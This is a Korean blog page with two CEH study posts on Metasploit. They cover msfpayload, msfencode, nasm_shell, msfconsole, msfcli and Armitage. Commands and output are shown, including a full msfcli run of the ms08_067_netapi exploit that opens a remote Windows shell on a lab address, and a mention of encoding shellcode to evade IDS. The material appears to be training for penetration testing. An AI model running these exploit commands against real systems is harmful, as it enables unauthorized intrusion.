'msfconsole'에 해당되는 글 2건

  1. 2011.11.17 CEH Chap 9. Metasploit의 기능
  2. 2011.11.16 CEH Chap 8. Metasploit 2. 실행
보안vs해킹2011. 11. 17. 13:14

Metasploit의 세가지 중요한 툴들을 알아봤다면 이제는 기능들에 대해 알아보겠다. 이 기능들은 Metasploit에 있는 기능들로써 특히 특정한 공격을 행할때 중요하게 사용된다.

MSFpayload: msfpayload기능은 shellcodeFramework없이도 실행가능하게 만들어주는 기능을 한다. 이는 C, Ruby, JavaScript, Visual Basic과 같은 형태로 생성 가능하다. 가령 Python으로 작업중이라면 C언어형태로의 실행이 가능하고 웹에서 사용한다면 JavaScript의 형태가 가장 적당할 것이다. msfpayload -h를 통해서 기능들을 알 수 있다.

root@bt:/# msfpayload -h

msfcli와 같이 추가기능에 대해 알고자 하면 옵션 O를 넣어주면 된다.

root@bt:/# msfpayload windows/shell_reverse_tcp O



MSFencode: msfpayload로 생성된 shellcode는 다양한 환경에서 사용가능 하지만 null 캐릭터가 있을시 즉, x00s나 xffs가 있을 시에는 프로그램이 강제로 종료된다. 또한 이러한 shellcode는 IDS에 의해 쉽게 탐지되고 네트워크의 접근이 거부되어진다. 그래서 제안된게 msfencode이고 이 유틸이 그러한 코드들을 수정해준다. msfencode의 리스트를 보려면 옵션 l을 붙여주면 된다.

root@bt:~# msfencode -l

Nasm Shell: nasm_shell.rb는 어셈블리어를 사용할때 유용하고 각 코드를 알고자 할때 사용된다. 즉 jmp esp에 대한 내용을 알고자 할때 다음과 같이 사용된다.

root@bt:/opt/framework3/msf3/tools# ./nasm_shell.rb
nasm > jmp esp
00000000 FFE4
jmp esp

Posted by 구텐모르겐
보안vs해킹2011. 11. 16. 03:48

MSFconsole: Metasploit Framework에서 가장 핵심이 되는 부분으로써 가장 안정적이고 많은 기능을 제공하는 툴중에 하나이다. msfconsoleMetasploit Framework에서 제공할 수 있는 모든 옵션을 구현가능하고 이 툴 하나만으로 exploit을 실행하거나, auxiliary modules을 실행하거나 하는 등의 모든 기능을 수행해 낼수 있다. 기본적으로 Metasploit Framework은 계속적으로 업데이트되면서 발전해나가는 툴이지만 msfconsole은 항상 변하지 않는 중요한 역할을 한다. 기본적인 msfconsole의 기능을 익힘으로써 다른 업데이트의 기능을 손쉽게 적용시킬수 있다. 아마도 이 msfconsole에 대한 이야기는 계속 하게 될듯하다.

MSFconsole의 실행: 컴멘드에서 (물론 백트랙5에서) msfconsole을 친다.

root@bt:/# cd /opt/framework3/msf3/
root@bt:/opt/framework/msf3# msfconsole
< metasploit >
------------
  \ ,__,
  \ (oo)____
      (__) )\
      ||--|| *
msf >

help명령어를 통해 기본적인 명령어들을 익힐 수 있다.

MSFcli: msfclimsfconsole는 Framework에 접속하는데 서로 다른 방법을 사용한다. msfconsole은 사용자적인 측면에서 모든 기능에 대한 접근이 가능하다면 msfcli는 다른 콘솔툴과의 스크립팅하는데 중심이 되어 있다. Framework에 값을 전달해주는 것이 아니라 컴멘드를 통해 다른 콘솔들과의 직접적인 연결을 가능하게 해준다. 또한 exploit와 auxiliary modules의 실행을 지원하고 또한 modules을 테스트할때에도 유용하게 사용된다. 만약 여러분이 정확히 어떠한 툴과 어떠한 기능을 사용할지에 대해 알고 있다면 msfclimsfconsole보다 확실히 여러분의 작업을 수행하는데 도움을 줄 것이다.

root@bt:/opt/framework3/msf3# msfcli -h
Usage: /opt/framework3/msf3/msfcli <exploit_name> <option=value> [mode]
==============================================================================
Mode Description
---- ---------------
(H)elp You're looking at it, baby!
(S)ummary Show information about this module
(O)ptions Show available options for this module
(A)dvanced Show available advanced options for this module
(I)DS Evasion Show available ids evasion options for this module
(P)ayloads Show available payloads for this module
(T)argets Show available targets for this exploit module
(AC)tions Show available actions for this auxiliary module
(C)heck Run the check routine of the selected module
(E)xecute Execute the selected module
root@bt:/opt/framework3/msf3#


MSFcli 예제: 이제 msfcli의 사용법에 대해 간단히 알아보겠다. 여러분이 Metasploit을 사용중에 어려움에 부딧힐때 옵션 O를 통해 많은 도움을 받을 수 있다. 예를 들어 아래와 같이 ms08_067_netapi를 사용할때 옵션 O를 붙이면,

root@bt:/# msfcli windows/smb/ms08_067_netapi O
[*] Please wait while we load the module tree...
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 0.0.0.0 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


ms_08_067_netapi가 RHOST, RPORT, SMBPIPE의 세가지 옵션을 필요로 함을 알 수 있다. 또한 옵션 p를 사용함으로 사용가능한 payload를 알 수 있다.

root@bt:/# msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.155 P
[*] Please wait while we load the module tree...
Metasploit Basics 11
Compatible payloads
===================
Name Description
---- -----------
generic/debug_trap Generate a debug trap in the target process
generic/shell_bind_tcp Listen for a connection and spawn a command shell





필요한 옵션과 payload를 설정해 준 후 우리는 옵션 E를 통해서 msfcli를 실행할 수 있다.

root@bt:/# msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.155 PAYLOAD=windows/shell/bind_tcp E
[*] Please wait while we load the module tree...
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.1.101:46025 -> 192.168.1.155:4444)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>


아래 윈도우 화면은 타겟 호스트이므로 이 exploit이 성공했음을 알 수 있다.

Armitage: armitage는 그래픽버전의 Metasploit라고 보면 된다. 물론 공짜이고 풍부한 기능과 편리성을 가지고 있다. 하지만 비록 armitage가 강력한 툴임은 사실이지만 컴멘드를 배우지 않고 클릭클릭만 배우다 보면 스크립트키디의 레벨을 벗어날 수 없으므로 armitage에 대한 설명은 하지 않고 넘어가겠다. 개인적으로도 nmap보다 zenmap사용후에 좀 더 기능을 효과적으로 사용하는데 한계를 느꼈다.

Armitage의 사용: armitage를 타이핑해주면 armitage가 실행된다. (물론 백트랙5에서 말이다.) armitage실행후 Attacks-Browser Attacks-windows 를 통해서 다양한 기능을 사용할 수 있음을 알 수 있다.

Posted by 구텐모르겐